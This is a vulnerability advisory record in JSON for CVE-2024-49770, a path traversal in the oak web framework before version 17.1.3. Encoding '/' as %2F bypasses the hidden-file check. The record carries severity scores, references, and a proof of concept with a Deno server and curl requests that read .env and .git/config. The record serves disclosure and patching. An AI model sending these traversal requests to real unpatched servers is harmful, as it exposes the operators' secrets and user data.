{"id":"CVE-2024-49770","aliases":["CVE-2024-49770","GHSA-qm92-93fv-vh7m"],"related":[],"kind":"vulnerability","state":"published","title":"oak's path traversal allows transfer of hidden files within the served root directory","summary":"`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nBy default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by\nencoding `/` as its URL encoded form `%2F`.\n\n### Details\n\n1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that\ncontains URL encoded characters unless the client URL encodes it first.\n\n2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.\n\n### PoC\n\n```ts\n// server.ts\n\nimport { Application } from \"jsr:@oak/oak@17.1.2\";\n\nconst app = new Application();\n\napp.use(async (context, next) => {\n  try {\n    await context.send({\n      root: './root',\n      hidden: false, // default\n    });\n  } catch {\n    await next();\n  }\n});\n\nawait app.listen({ port: 8000 });\n```\n\nIn terminal:\n\n```bash\n# setup root directory\nmkdir root/.git\necho SECRET_KEY=oops > root/.env\necho oops >  root/.git/config\n\n# start server\ndeno run -A server.ts\n\n# in another terminal\ncurl -D- http://127.0.0.1:8000/poc%2f../.env\ncurl -D- http://127.0.0.1:8000/poc%2f../.git/config\n```\n\n### Impact\n\nFor an attacker this has potential to read sensitive user data or to gain access to server secrets.","format":"markdown","source":"ghsa"},{"lang":"es","text":"`oak` es un framework de middleware para el servidor HTTP nativo de Deno, Deno Deploy, Node.js 16.5 y posteriores, Cloudflare Workers y Bun. De forma predeterminada, `oak` no permite la transferencia de archivos ocultos con la API `Context.send`. Sin embargo, antes de la versión 17.1.3, esto se puede omitir codificando `/` como su forma codificada de URL `%2F`. Para un atacante, esto tiene el potencial de leer datos confidenciales del usuario o de obtener acceso a secretos del servidor. La versión 17.1.3 soluciona el problema.","source":"nvd"}],"published":"2024-11-01T16:16:29.482Z","modified":"2026-06-17T08:00:25.007Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"}],"cwes":["CWE-22","CWE-35"],"affected":[{"ranges":[{"version":"< 17.1.3","status":"affected"}],"vendor":"oakserver","product":"oak","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"17.1.3","status":"affected"}],"vendor":"oakserver","product":"oak","cpe":"cpe:2.3:a:oakserver:oak:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"14.1.0"}],"ecosystem":"npm","package":"@oakserver/oak","purl":"pkg:npm/%40oakserver/oak","source":"ghsa"}],"references":[{"url":"https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49770","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/oakserver/oak","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2024-11-01T17:32:52.541Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-49770","url":"https://www.cve.org/CVERecord?id=CVE-2024-49770","licence":"CVE Terms of Use","modified":"2024-11-01T17:35:10.386Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qm92-93fv-vh7m","url":"https://github.com/advisories/GHSA-qm92-93fv-vh7m","licence":"CC-BY-4.0","modified":"2024-11-01T22:27:22.350Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-49770","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49770","licence":"Public domain","modified":"2026-06-17T08:00:25.007Z"}],"updatedAt":"2026-11-25T22:58:47.632Z","epss":{"score":0.00711,"percentile":0.54772,"date":"2026-12-01T12:00:22.000Z"}}